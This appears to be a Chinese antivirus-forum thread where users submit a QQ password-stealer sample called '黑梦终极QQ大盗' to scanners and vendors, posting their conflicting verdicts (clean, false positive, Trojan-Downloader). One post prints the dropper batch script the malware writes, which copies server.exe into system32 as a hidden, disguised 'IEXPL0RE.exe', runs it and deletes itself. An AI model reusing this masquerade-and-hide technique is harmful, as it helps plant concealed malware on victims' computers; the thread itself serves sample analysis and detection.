过微点主动黑梦终极QQ大盗

herryhu

被瑞星干刚掉了

tracydk

Dear tracydk tracydk,

We have analyzed your submission.  The following is a report of our
findings for each file you have submitted:

filename:  D:\\QQ1.rar
machine: Machine
result: See the developer notes

filename: 1_unicode_fn.exe
machine: Machine
result: See the developer notes

filename: server.exe
machine: Machine
result: See the developer notes

filename: COMDLG32.OCX
machine: Machine
result: This file is clean

Customer notes:



Developer notes:
D:\\QQ1.rar is a container file of type  RAR
1_unicode_fn.exe Our automation was unable to identify any malicious content in this submission.
The file will be stored for further human analysis  This file is contained by   D:\\QQ1.rar
server.exe Our automation was unable to identify any malicious content in this submission.
The file will be stored for further human analysis  This file is contained by   D:\\QQ1.rar
COMDLG32.OCX  is a clean file.  This file is contained by   D:\\QQ1.rar

simple

Begin scan in 'C:\Users\LeiLei\Desktop\黑梦终极QQ大盗1.rar'
C:\Users\LeiLei\Desktop\黑梦终极QQ大盗1.rar
    [0] Archive type: RAR
发表帖子[完成后可按 C    --> ﾺￚￃￎￖￕﾼﾫQQﾴ?ﾵ￁.exe
      [DETECTION] Contains HEUR/Malware suspicious code
    [NOTE]      The file was deleted!

ghj89100062

Dear Sir or Madam,


Thank you for your recent inquiry.

We could not find a virus in the attachment you have sent us. This is a false positive caused by our heuristic.
We will take out the pattern recognition in one of our next updates.

We thank you for your assistance.

Attachment(s) you sent:
- ____QQ__1.rar

--
Freundliche Gruesse / Kind regards
Avira GmbH

Andreas Pohl
First Level Support

Avira GmbH
Lindauer Str. 21, D-88069 Tettnang, Germany
Internet: http://www.avira.com

saga3721

红伞启发正确，余下东西无毒
File ID 燜ilename Size (Byte) Result
25252102  ??.rar 120.76 KB OK

A listing of files contained inside archives alongside their results can be found below:

File ID 燜ilename Size (Byte) Result
25252103  server.exe  160 KB  CLEAN
7119  COMDLG32.OCX  136.81 KB  KNOWN CLEAN

250662772

病毒生成的批处理
ping  127.0.0.1
copy  "F:\黑梦终极QQ大盗1\server.exe","C:\WINDOWS\system32\IEXPL0RE.exe"
attrib +s +h "C:\WINDOWS\system32\IEXPL0RE.exe"
del "F:\黑梦终极QQ大盗1\server.exe"
start "" "C:\WINDOWS\system32\IEXPL0RE.exe"
del %0

28654621

D:\download\QQ1~1.RAR>>server.exe        Trojan.VB.bgx.ngti        木马        还未处理

BING126

McAfee miss

fatezero

Filename        Result         ########QQ####.exe         FALSE POSITIVE
The file '########QQ####.exe' has been determined to be 'FALSE POSITIVE'. In particular this means that this file is not malicious but a false alarm. Detection will be removed from our virus definition file (VDF) with one of the next updates.  

Filename        Result         server.exe         CLEAN
The file 'server.exe' has been determined to be 'CLEAN'. Our analysts did not discover any malicious content.  

Filename        Result         COMDLG32.OCX         KNOWN CLEAN
The file 'COMDLG32.OCX' has been determined to be 'KNOWN CLEAN'. In particular this means that we could not find any malicious content. Please note that the file is part of 'Windows 2000 (SP1)'.

328397663

Hello,

#-++g-lQQ+##+.exe_ - Trojan-Downloader.Win32.VB.kjx,

server.exe_ - Trojan-Downloader.Win32.VB.kjy

New malicious software was found in these files. Detection will be included in the next update. Thank you for your help.

COMDLG32.OCX

No malicious code was found in this file.

Please quote all when answering.
The answer is relevant to the latest bases from update sources.